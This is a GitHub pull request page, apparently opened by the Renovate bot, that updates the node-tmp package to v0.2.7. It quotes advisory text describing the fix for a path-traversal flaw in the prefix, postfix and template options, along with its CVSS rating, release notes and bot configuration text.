-  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
+  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);
+  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);
+  options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);
 }

Defence-in-depth, recommended in addition to the type check: validate the final resolved path against tmpdir after _generateTmpName, similar to what _getRelativePath already does for dir and template. That way any future bypass through a different vector (e.g., a future Node path change, or a different option) does not exit tmpdir.

Fix PR

https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1

Credit

Reported by tonghuaroot.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

raszi/node-tmp (tmp)

v0.2.7

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

Need help?

You can ask for more help in the following Slack channel: #proj-renovate-self-hosted. In that channel you can also find ADR and FAQ docs in the Resources section.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

Status: 🔬 In review

Development

Successfully merging this pull request may close these issues.

0 participants